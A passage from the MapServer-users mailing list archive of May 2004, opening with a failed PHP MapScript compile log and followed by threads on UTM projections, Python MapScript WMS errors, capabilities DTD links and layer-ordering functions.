/usr/local/include/php/main/php.h:197:31: regex/regex_extra.h: No such file or directory In file included from /usr/local/include/php/main/php.h:236, from php_mapscript_util.h:58, from php_mapscript_util.c:101: /usr/local/include/php/main/spprintf.h:38: warning: return type defaults to `int' /usr/local/include/php/main/spprintf.h: In function `BEGIN_EXTERN_C': /usr/local/include/php/main/spprintf.h:38: parse error before "ZEND_ATTRIBUTE_FORMAT" /usr/local/include/php/main/spprintf.h:40: parse error before "ZEND_ATTRIBUTE_FORMAT" /usr/local/include/php/main/spprintf.h:40: declaration for parameter `vspprintf' but no such parameter /usr/local/include/php/main/spprintf.h:38: declaration for parameter `spprintf' but no such parameter /usr/local/include/php/main/php.h:363:29: main/php_output.h: No such file or directory In file included from /usr/local/include/php/main/php.h:383, from php_mapscript_util.h:58, from php_mapscript_util.c:101: /usr/local/include/php/main/php_streams.h: At top level: /usr/local/include/php/main/php_streams.h:106: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:133: parse error before "zval" /usr/local/include/php/main/php_streams.h:133: warning: no semicolon at end of struct or union /usr/local/include/php/main/php_streams.h:149: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:150: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:151: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:152: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:157: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:158: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:159: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:160: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:166: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:168: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:170: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:172: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:175: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:192: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:194: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:195: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:196: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:197: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:248: parse error before "zval" /usr/local/include/php/main/php_streams.h:248: warning: no semicolon at end of struct or union /usr/local/include/php/main/php_streams.h:279: parse error before '}' token /usr/local/include/php/main/php_streams.h:287: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:293: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:294: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:295: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:303: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:306: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:307: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:308: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:327: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:340: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:345: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:349: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:352: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:355: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:359: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:363: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:366: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:369: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:372: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:375: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:381: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:384: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:387: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:390: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:392: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:397: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:425: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:432: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:436: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:442: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:445: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:448: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:451: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:454: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:457: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:460: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:478: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:527: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:528: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:529: warning: type defaults to `int' in declaration of `ZEND_MODULE_DEACTIVATE_D' /usr/local/include/php/main/php_streams.h:529: warning: parameter names (without types) in function declaration /usr/local/include/php/main/php_streams.h:529: warning: data definition has no type or storage class /usr/local/include/php/main/php_streams.h:531: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:532: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:533: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:534: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:535: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:541: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:552: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:558: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:562: parse error before "_php_stream_open_wrapper_as_file_handle" /usr/local/include/php/main/php_streams.h:562: parse error before "zend_file_handle" /usr/local/include/php/main/php_streams.h:562: warning: type defaults to `int' in declaration of `_php_stream_open_wrapper_as_file_handle' /usr/local/include/php/main/php_streams.h:562: warning: data definition has no type or storage class /usr/local/include/php/main/php_streams.h:574: parse error before "zval" /usr/local/include/php/main/php_streams.h:576: parse error before "zval" /usr/local/include/php/main/php_streams.h:598: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_streams.h:630: parse error before '*' token /usr/local/include/php/main/php_streams.h:630: warning: type defaults to `int' in declaration of `php_stream_get_url_stream_wrappers_hash' /usr/local/include/php/main/php_streams.h:630: warning: data definition has no type or storage class In file included from /usr/local/include/php/main/php.h:384, from php_mapscript_util.h:58, from php_mapscript_util.c:101: /usr/local/include/php/main/php_memory_streams.h:40: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_memory_streams.h:41: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_memory_streams.h:42: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_memory_streams.h:44: parse error before "TSRMLS_DC" /usr/local/include/php/main/php_memory_streams.h:45: parse error before "TSRMLS_DC" In file included from /usr/local/include/php/main/fopen_wrappers.h:24, from /usr/local/include/php/main/php.h:385, from php_mapscript_util.h:58, from php_mapscript_util.c:101: /usr/local/include/php/main/php_globals.h:23:26: zend_globals.h: No such file or directory In file included from /usr/local/include/php/main/fopen_wrappers.h:24, from /usr/local/include/php/main/php.h:385, from php_mapscript_util.h:58, from php_mapscript_util.c:101: /usr/local/include/php/main/php_globals.h:25: warning: return type defaults to `int' /usr/local/include/php/main/php_globals.h:25: redefinition of `BEGIN_EXTERN_C' /usr/local/include/php/main/spprintf.h:40: `BEGIN_EXTERN_C' previously defined here /usr/local/include/php/main/php_globals.h: In function `BEGIN_EXTERN_C': /usr/local/include/php/main/php_globals.h:25: storage class specified for parameter `php_core_globals' /usr/local/include/php/main/php_globals.h:32: storage class specified for parameter `core_globals' /usr/local/include/php/main/php_globals.h:43: warning: empty declaration /usr/local/include/php/main/php_globals.h:48: warning: structure defined inside parms /usr/local/include/php/main/php_globals.h:48: storage class specified for parameter `arg_separators' /usr/local/include/php/main/php_globals.h:51: parse error before "zend_bool" /usr/local/include/php/main/php_globals.h:51: warning: no semicolon at end of struct or union /usr/local/include/php/main/php_globals.h:48: declaration for parameter `arg_separators' but no such parameter /usr/local/include/php/main/php_globals.h:32: parameter `core_globals' has incomplete type /usr/local/include/php/main/php_globals.h:32: declaration for parameter `core_globals' but no such parameter /usr/local/include/php/main/php_globals.h:25: parameter `php_core_globals' has incomplete type /usr/local/include/php/main/php_globals.h:25: declaration for parameter `php_core_globals' but no such parameter In file included from php_mapscript_util.h:58, from php_mapscript_util.c:101: /usr/local/include/php/main/php.h:389:30: tsrm_virtual_cwd.h: No such file or directory /usr/local/include/php/main/php.h:391:28: zend_constants.h: No such file or directory In file included from php_mapscript_util.c:101: php_mapscript_util.h: At top level: php_mapscript_util.h:118: parse error before '*' token php_mapscript_util.h:133: parse error before '*' token php_mapscript_util.h:137: parse error before '*' token php_mapscript_util.h:140: parse error before '*' token php_mapscript_util.h:143: parse error before '*' token php_mapscript_util.h:146: parse error before '*' token php_mapscript_util.h:148: parse error before '*' token php_mapscript_util.h:150: parse error before '*' token php_mapscript_util.h:152: parse error before '*' token php_mapscript_util.h:154: parse error before '*' token php_mapscript_util.h:156: parse error before '*' token php_mapscript_util.h:158: parse error before '*' token php_mapscript_util.h:160: parse error before '*' token php_mapscript_util.h:163: parse error before '*' token php_mapscript_util.c: In function `_phpms_report_mapserver_error': php_mapscript_util.c:119: warning: implicit declaration of function `zend_error'php_mapscript_util.c: At top level: php_mapscript_util.c:132: parse error before '*' token php_mapscript_util.c: In function `_phpms_fetch_handle2': php_mapscript_util.c:137: `phandle' undeclared (first use in this function) php_mapscript_util.c:137: (Each undeclared identifier is reported only once php_mapscript_util.c:137: for each function it appears in.) php_mapscript_util.c:140: `pObj' undeclared (first use in this function) php_mapscript_util.c:140: `IS_OBJECT' undeclared (first use in this function) php_mapscript_util.c:142: `E_ERROR' undeclared (first use in this function) php_mapscript_util.c:145: warning: implicit declaration of function `zend_hash_find' php_mapscript_util.c:147: `FAILURE' undeclared (first use in this function) php_mapscript_util.c:156: warning: implicit declaration of function `zend_list_find' php_mapscript_util.c:158: `handle_type1' undeclared (first use in this function)php_mapscript_util.c:158: `handle_type2' undeclared (first use in this function)php_mapscript_util.c: At top level: php_mapscript_util.c:174: parse error before '*' token php_mapscript_util.c: In function `_phpms_fetch_handle': php_mapscript_util.c:177: `pObj' undeclared (first use in this function) php_mapscript_util.c:177: `handle_type' undeclared (first use in this function) php_mapscript_util.c:177: `list' undeclared (first use in this function) php_mapscript_util.c: At top level: php_mapscript_util.c:184: parse error before '*' token php_mapscript_util.c: In function `_phpms_fetch_property_handle2': php_mapscript_util.c:188: `phandle' undeclared (first use in this function) php_mapscript_util.c:192: `pObj' undeclared (first use in this function) php_mapscript_util.c:192: `IS_OBJECT' undeclared (first use in this function) php_mapscript_util.c:194: `err_type' undeclared (first use in this function) php_mapscript_util.c:197: `property_name' undeclared (first use in this function) php_mapscript_util.c:199: `FAILURE' undeclared (first use in this function) php_mapscript_util.c:206: `IS_RESOURCE' undeclared (first use in this function) php_mapscript_util.c:208: `handle_type1' undeclared (first use in this function)php_mapscript_util.c:208: `handle_type2' undeclared (first use in this function)php_mapscript_util.c: At top level: php_mapscript_util.c:222: parse error before '*' token php_mapscript_util.c: In function `_phpms_fetch_property_handle': php_mapscript_util.c:226: `pObj' undeclared (first use in this function) php_mapscript_util.c:226: `property_name' undeclared (first use in this function) php_mapscript_util.c:227: `handle_type' undeclared (first use in this function) php_mapscript_util.c:228: `list' undeclared (first use in this function) php_mapscript_util.c:228: `err_type' undeclared (first use in this function) php_mapscript_util.c: At top level: php_mapscript_util.c:234: parse error before '*' token php_mapscript_util.c: In function `_phpms_fetch_property_string': php_mapscript_util.c:237: `phandle' undeclared (first use in this function) php_mapscript_util.c:239: `pObj' undeclared (first use in this function) php_mapscript_util.c:239: `IS_OBJECT' undeclared (first use in this function) php_mapscript_util.c:241: `err_type' undeclared (first use in this function) php_mapscript_util.c:245: `property_name' undeclared (first use in this function) php_mapscript_util.c:246: `FAILURE' undeclared (first use in this function) php_mapscript_util.c:253: warning: implicit declaration of function `convert_to_string' php_mapscript_util.c: At top level: php_mapscript_util.c:260: parse error before '*' token php_mapscript_util.c: In function `_phpms_fetch_property_long': php_mapscript_util.c:263: `phandle' undeclared (first use in this function) php_mapscript_util.c:265: `pObj' undeclared (first use in this function) php_mapscript_util.c:265: `IS_OBJECT' undeclared (first use in this function) php_mapscript_util.c:267: `err_type' undeclared (first use in this function) php_mapscript_util.c:270: `property_name' undeclared (first use in this function) php_mapscript_util.c:272: `FAILURE' undeclared (first use in this function) php_mapscript_util.c:279: `IS_RESOURCE' undeclared (first use in this function) php_mapscript_util.c:286: warning: implicit declaration of function `convert_to_long' php_mapscript_util.c: At top level: php_mapscript_util.c:293: parse error before '*' token php_mapscript_util.c: In function `_phpms_fetch_property_double': php_mapscript_util.c:296: `phandle' undeclared (first use in this function) php_mapscript_util.c:298: `pObj' undeclared (first use in this function) php_mapscript_util.c:298: `IS_OBJECT' undeclared (first use in this function) php_mapscript_util.c:300: `err_type' undeclared (first use in this function) php_mapscript_util.c:303: `property_name' undeclared (first use in this function) php_mapscript_util.c:305: `FAILURE' undeclared (first use in this function) php_mapscript_util.c:312: warning: implicit declaration of function `convert_to_double' php_mapscript_util.c: At top level: php_mapscript_util.c:319: parse error before '*' token php_mapscript_util.c: In function `_phpms_fetch_property_resource': php_mapscript_util.c:322: `phandle' undeclared (first use in this function) php_mapscript_util.c:324: `pObj' undeclared (first use in this function) php_mapscript_util.c:324: `IS_OBJECT' undeclared (first use in this function) php_mapscript_util.c:326: `err_type' undeclared (first use in this function) php_mapscript_util.c:329: `property_name' undeclared (first use in this function) php_mapscript_util.c:331: `FAILURE' undeclared (first use in this function) php_mapscript_util.c:338: `IS_RESOURCE' undeclared (first use in this function) php_mapscript_util.c: At top level: php_mapscript_util.c:355: parse error before '*' token php_mapscript_util.c: In function `_phpms_set_property_string': php_mapscript_util.c:358: `phandle' undeclared (first use in this function) php_mapscript_util.c:360: `pObj' undeclared (first use in this function) php_mapscript_util.c:360: `IS_OBJECT' undeclared (first use in this function) php_mapscript_util.c:362: `err_type' undeclared (first use in this function) php_mapscript_util.c:365: `property_name' undeclared (first use in this function) php_mapscript_util.c:367: `FAILURE' undeclared (first use in this function) php_mapscript_util.c:374: warning: implicit declaration of function `SEPARATE_ZVAL' php_mapscript_util.c:375: warning: implicit declaration of function `zval_dtor' php_mapscript_util.c:376: warning: implicit declaration of function `ZVAL_STRING' php_mapscript_util.c:376: `szNewValue' undeclared (first use in this function) php_mapscript_util.c: At top level: php_mapscript_util.c:384: parse error before '*' token php_mapscript_util.c: In function `_phpms_set_property_long': php_mapscript_util.c:387: `phandle' undeclared (first use in this function) php_mapscript_util.c:389: `pObj' undeclared (first use in this function) php_mapscript_util.c:389: `IS_OBJECT' undeclared (first use in this function) php_mapscript_util.c:391: `err_type' undeclared (first use in this function) php_mapscript_util.c:394: `property_name' undeclared (first use in this function) php_mapscript_util.c:396: `FAILURE' undeclared (first use in this function) php_mapscript_util.c:405: warning: implicit declaration of function `ZVAL_LONG' php_mapscript_util.c:405: `lNewValue' undeclared (first use in this function) php_mapscript_util.c: At top level: php_mapscript_util.c:413: parse error before '*' token php_mapscript_util.c: In function `_phpms_set_property_double': php_mapscript_util.c:416: `phandle' undeclared (first use in this function) php_mapscript_util.c:418: `pObj' undeclared (first use in this function) php_mapscript_util.c:418: `IS_OBJECT' undeclared (first use in this function) php_mapscript_util.c:420: `err_type' undeclared (first use in this function) php_mapscript_util.c:423: `property_name' undeclared (first use in this function) php_mapscript_util.c:425: `FAILURE' undeclared (first use in this function) php_mapscript_util.c:434: warning: implicit declaration of function `ZVAL_DOUBLE' php_mapscript_util.c:434: `dNewValue' undeclared (first use in this function) php_mapscript_util.c: At top level: php_mapscript_util.c:442: parse error before '*' token php_mapscript_util.c: In function `_phpms_add_property_object': php_mapscript_util.c:446: warning: implicit declaration of function `add_property_zval' php_mapscript_util.c:446: `pObj' undeclared (first use in this function) php_mapscript_util.c:446: `property_name' undeclared (first use in this function) php_mapscript_util.c:446: `pObjToAdd' undeclared (first use in this function) php_mapscript_util.c:446: `FAILURE' undeclared (first use in this function) php_mapscript_util.c:448: `err_type' undeclared (first use in this function) php_mapscript_util.c: At top level: php_mapscript_util.c:465: parse error before '*' token php_mapscript_util.c: In function `_phpms_object_init': php_mapscript_util.c:473: `zend_class_entry' undeclared (first use in this function) php_mapscript_util.c:473: `new_class_entry_ptr' undeclared (first use in this function) php_mapscript_util.c:474: parse error before ')' token php_mapscript_util.c:476: warning: implicit declaration of function `object_init_ex' php_mapscript_util.c:476: `return_value' undeclared (first use in this function)php_mapscript_util.c:477: warning: implicit declaration of function `add_property_resource' php_mapscript_util.c:477: `handle_id' undeclared (first use in this function) php_mapscript_util.c: At top level: php_mapscript_util.c:499: parse error before '*' token php_mapscript_util.c: In function `_php_extract_associative_array': php_mapscript_util.c:505: `zval' undeclared (first use in this function) php_mapscript_util.c:505: `value' undeclared (first use in this function) php_mapscript_util.c:510: warning: implicit declaration of function `zend_hash_internal_pointer_reset' php_mapscript_util.c:510: `php' undeclared (first use in this function) php_mapscript_util.c:511: warning: implicit declaration of function `zend_hash_get_current_data' php_mapscript_util.c:511: `SUCCESS' undeclared (first use in this function) php_mapscript_util.c:512: warning: implicit declaration of function `zend_hash_move_forward' php_mapscript_util.c:515: warning: implicit declaration of function `convert_to_string_ex' php_mapscript_util.c:517: warning: implicit declaration of function `zend_hash_get_current_key' php_mapscript_util.c:519: `HASH_KEY_IS_STRING' undeclared (first use in this function) php_mapscript_util.c:520: `array' undeclared (first use in this function) php_mapscript_util.c:521: warning: implicit declaration of function `Z_STRVAL_PP' make[1]: *** [php_mapscript_util.o] Error 1 make[1]: Leaving directory `/usr/local/src/mapserver-4.0.2/mapscript/php3' __________________________________ Do you Yahoo!? Win a $20,000 Career Makeover at Yahoo! HotJobs http://hotjobs.sweepstakes.yahoo.com/careermakeover From ArminWaespy at web.de Mon May 10 02:14:25 2004 From: ArminWaespy at web.de (=?iso-8859-1?Q? Armin=20W=E4spy ?=) Date: Mon, 10 May 2004 11:14:25 +0200 Subject: [Mapserver-users] grid Message-ID: <263635945@web.de> hello everybody, i need help. here my problem: i want to change the grid in my map. i have one gridlayer with PROJECTION "proj=latlong" "ellps=WGS84" "datum=WGS84" END this works. but now i want another layer with an utm-rid. i tried PROJECTION "proj=utm" "ellps=WGS84" "datum=WGS84" END and with epsg-code. but no one works. is there anybody who knows how to define an utm-gridlayer projection correctly? thanks armin _______________________________________________________________________ ... and the winner is... WEB.DE FreeMail! - Deutschlands beste E-Mail ist zum 39. Mal Testsieger (PC Praxis 03/04) http://f.web.de/?mc=021191 From alhim at intracom.gr Mon May 10 02:17:00 2004 From: alhim at intracom.gr (Alexandros Chimarios) Date: Mon, 10 May 2004 12:17:00 +0300 Subject: [Mapserver-users] WMS server - client communication error In-Reply-To: <000101c4345b$1513e470$0100000a@cybermedia.local> References: <200405071642.44543.alhim@intracom.gr> <6.1.0.6.2.20040507113455.01d8dd38@hobu.mail.iastate.edu> <000101c4345b$1513e470$0100000a@cybermedia.local> Message-ID: <200405101217.00548.alhim@intracom.gr> Sean and Daniel, First of all thanx for your answers. I tried the prepareImage() method but it didnt work. After that tried with a dummy metada block and all the params in the CONNECTION url but it didnt work either. I am thinking of creating a method in Python until you release the next version of MapScript to temporarily give some kinda of solution to Python Mapscript programmers. This method which will download the image in the disk using HTTP and then load it in memory creating a new image object(imageObj). Then I will be able to combine this raster image with other layers using the MapScript layerObj.draw() method. What do you think about that ? On Friday 07 May 2004 20:45, Sean Gillies wrote: > On 07/mag/04, at 10:40, Howard Butler wrote: > > At 11:08 AM 5/7/2004, Sean Gillies wrote: > >> On 07/mag/04, at 08:47, Daniel Morissette wrote: > >>> Alexandros Chimarios wrote: > >>>> Traceback (most recent call last): > >>>> File "./src/test.py", line 131, in ? > >>>> image = mo.draw(); > >>>> File "/usr/lib/python2.2/site-packages/mapscript.py", line 1783, > >>>> in draw > >>>> def draw(*args): return apply(_mapscript.mapObj_draw,args) > >>>> _mapscript.MapServerError: msLookupHashTable: Hash table error. > >>>> Invalid hash table or key > >>> > >>> A similar problem was reported a few weeks ago: > >>> > >>> http://lists.gis.umn.edu/pipermail/mapserver-dev/2004-April/ > >>> 000955.html > >>> > >>> In this case it was with python as well, and it was not possible to > >>> reproduce with the regular CGI. Perhaps there is something specific > >>> to that flavour of MapScript? I would suggest that you file a bug > >>> about this. > >>> > >>> Daniel > >> > >> Alexandros, > >> > >> The Python mapscript module is set up so that the MapServer error > >> stack is > >> checked after method calls (such as mapObj.draw), MapServer errors are > >> converted to Python exceptions and are raised. > >> > >> Somewhere in msDrawMap, maybe in the WMS HTTP request code, > >> msLookupHashTable > >> is being used to access layer or map metadata and is not finding > >> something > >> it expects. Maybe your mapfile lacks a WMS metadata parameter? > >> In the CGI MapServer, such an error will be reported but will > >> not necessarily stop execution of the program. With the Python > >> MapScript, > >> unhandled exceptions will stop execution. > >> > >> I suggest that you try some code like this for now: > >> > >> image = mo.prepareImage() # so that it is defined outside the > >> try/except > >> try: > >> image = mo.draw() > >> except MapServerError: > >> pass > >> > >> Let me know how it goes and together we can work towards a better > >> solution. > >> > >> cheers, > >> Sean > > > > Sean, > > > > prepareImage doesn't cure it. For me, it was only happening on WMS > > images that needed to be projected using GDAL. I have an Albers map > > that I am pulling in a UTM 15 image where it is causing a problem for > > me. > > > > I suspect an error is being put on the stack that is silenced by the > > WMS code. Most things don't pick up on it, but Python is very > > sensitive to not silencing exceptions ;) > > > > I also know that a WMS parameter is not missing because the image is > > successfully download (I can send debug info along if requested). > > > > Howard > > Howard, it isn't that prepareImage cures anything, I'm just using it so > that > image is defined outside the try/except blocks and can be used after > we've > dodged the hash lookup error. > > I looked into msDrawWMSLayerLow(), which is called in your case and > Alexandros'. > A few lines in, we try to look up "wms_sld_body" and "wms_sld_url" in > the > layer metadata ... if you don't have these defined in your layer, > msLookupHashTable() is going to throw an error that stops the Python > interpreter. > I wouldn't be surprised if there are more such cases, and as the number > of > WMS features grow, there will be ever more. > > IMO, msLookupHashTable() should throw errors like this so that, in > Python, > layer.getMetaData("foo") raises an exception just like adict["foo"] > raises > a KeyError if "foo" is not present in the dictionary. Looks like we > have to add > some code to msDrawWMSLayerLow to delete these particular errors before > they > can hit the Python interpreter. > > Sean > > > -- > Sean Gillies > sgillies at frii dot com > http://users.frii.com/sgillies > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From josb at pml.ac.uk Mon May 10 02:39:29 2004 From: josb at pml.ac.uk (John Beisley - RSG) Date: Mon, 10 May 2004 10:39:29 +0100 Subject: [Mapserver-users] grid In-Reply-To: <263635945@web.de> References: <263635945@web.de> Message-ID: <409F4DD1.4030600@pml.ac.uk> Armin W?spy wrote: >hello everybody, >i need help. >here my problem: > >i want to change the grid in my map. >i have one gridlayer with > > PROJECTION > "proj=latlong" > "ellps=WGS84" > "datum=WGS84" > END > >this works. > >but now i want another layer with an utm-rid. >i tried > > PROJECTION > "proj=utm" > "ellps=WGS84" > "datum=WGS84" > END > >and with epsg-code. but no one works. > >is there anybody who knows how to define an utm-gridlayer projection correctly? >thanks >armin > > You need to specify a zone for the region you are projecting. This is a number from 1 to 60 and is either north or south hemisphere. E.g. PROJECTION "proj=utm" "zone=30" "south" "ellps=WGS84" "datum=WGS84" END The zones start in the USA and increase in number in an easterly direction, if I remember correctly. HTH - John -- Website: www.pml.ac.uk Registered Charity No. 1091222 Company No. 4178503 ------------------------------------------------------------------- This e-mail, its content and any file attachments are confidential. If you have received this e-mail in error please do not copy, disclose it to any third party or use the contents or attachments in any way. Please notify the sender by replying to this e-mail or e-mail forinfo at pml.ac.uk and then delete the email without making any copies or using it in any other way. The content of this message may contain personal views which are not the views of Plymouth Marine Laboratory unless specifically stated. Email transmission cannot be guaranteed to be secure or error free From info at geo-it.com Mon May 10 03:24:38 2004 From: info at geo-it.com (GeoIT) Date: Mon, 10 May 2004 12:24:38 +0200 Subject: [Mapserver-users] How to change link to WMS-capabilities.dtd Message-ID: <9138808AB827D311B56800E018900A611778D5@gdppdc.gdp.com> Hi, I'm using Mapserver as a WMS and since one week, the link to the capabilities_1_1_0.dtd http://www.digitalearth.gov/wmt/xml/capabilities_1_1_0.dtd is not available. Because Mapserver is generating dynamically its capabilities-XML-file with this link by default inside, a GetCapabilities-Request produces an error. How I can tell Mapserver to build in a different or local path in the capabilities-file ? Thanks in advance, Daniel ************************************************************************* Geo-IT GmbH - Geoinformatik, IT-Services Guggenberg 3, D-82380 Peissenberg Tel: 08803-498372, Fax: 08803-498373 eMail: info at geo-it.com - Homepage: http://www.geo-it.com ************************************************************************* From bartvde at xs4all.nl Mon May 10 04:20:32 2004 From: bartvde at xs4all.nl (bartvde at xs4all.nl) Date: Mon, 10 May 2004 13:20:32 +0200 (CEST) Subject: [Mapserver-users] How to change link to WMS-capabilities.dtd In-Reply-To: <9138808AB827D311B56800E018900A611778D5@gdppdc.gdp.com> References: <9138808AB827D311B56800E018900A611778D5@gdppdc.gdp.com> Message-ID: <12784.212.238.227.182.1084188032.squirrel@webmail.xs4all.nl> Hi, this is hard-coded AFAIK so you would need to change mapwms.c and rebuild. But if you use &version=1.1.1 in your GetCapabilities URL then the following DTD will be used which is still available online (you probably need Mapserver 4.1 or higher for this): http://schemas.opengis.net/wms/1.1.1/WMS_MS_Capabilities.dtd Maybe you would want to file and enhancement bug for this as it is allowed for a WMS to provide the DTD's in a different location. Best regards, Bart > Hi, > > I'm using Mapserver as a WMS and since one week, the link to the > capabilities_1_1_0.dtd > > http://www.digitalearth.gov/wmt/xml/capabilities_1_1_0.dtd > > is not available. > > Because Mapserver is generating dynamically its capabilities-XML-file with > this link by default inside, a GetCapabilities-Request produces an error. > > How I can tell Mapserver to build in a different or local path in the > capabilities-file ? > > Thanks in advance, > > Daniel > > ************************************************************************* > Geo-IT GmbH - Geoinformatik, IT-Services > Guggenberg 3, D-82380 Peissenberg > Tel: 08803-498372, Fax: 08803-498373 > eMail: info at geo-it.com - Homepage: http://www.geo-it.com > ************************************************************************* > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From publiek at home.nl Mon May 10 04:22:26 2004 From: publiek at home.nl (Marcel Koopman) Date: Mon, 10 May 2004 13:22:26 +0200 Subject: [Mapserver-users] php mapscript - movelayerdown is always true? Message-ID: <200405101122.i4ABMdFS029986@lists.gis.umn.edu> Hello, It seems that movelayerdown always returns 1. Is this a bug? And if so, is it fixed in recent mapserver? (>4.2beta1) echo $this->$map->moveLayerDown($i); This always gives 1, i expected it to return 0 when a layer is already at the bottom (no more downs possible). Thanks. From wlazlowski at igpik.waw.pl Mon May 10 04:56:21 2004 From: wlazlowski at igpik.waw.pl (=?ISO-8859-2?Q?Tomasz_Wlaz=B3owski?=) Date: Mon, 10 May 2004 13:56:21 +0200 Subject: [Mapserver-users] Need example with ITEMQUERY Message-ID: <409F6DE5.8070309@igpik.waw.pl> This is a multi-part message in MIME format. --------------050305080902050903060706 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Hello Dear Users! I have already installed Mapserver ver. 4.0.1 and I have worked on workshop and itasca demo. It's pretty easy to run it and changing some of the components. Now I try to handle with QUERYITEM AND FEATUREQUERY. Does anybody have working demo (example) with those modes? Wlazlowski Tomasz --------------050305080902050903060706 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit Hello Dear Users!

I have already installed Mapserver ver. 4.0.1 and I have worked on workshop and itasca demo. It’s pretty easy to run it and changing some of the components.

Now I try to handle with QUERYITEM AND FEATUREQUERY. Does anybody have working demo (example) with those modes?

Wlazlowski Tomasz
--------------050305080902050903060706-- From steve.lime at dnr.state.mn.us Mon May 10 07:07:02 2004 From: steve.lime at dnr.state.mn.us (Steve.lime) Date: Mon, 10 May 2004 08:07:02 -0600 Subject: [Mapserver-users] Forum notify Message-ID: ----------nxzscyalqugctxcujlkv Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
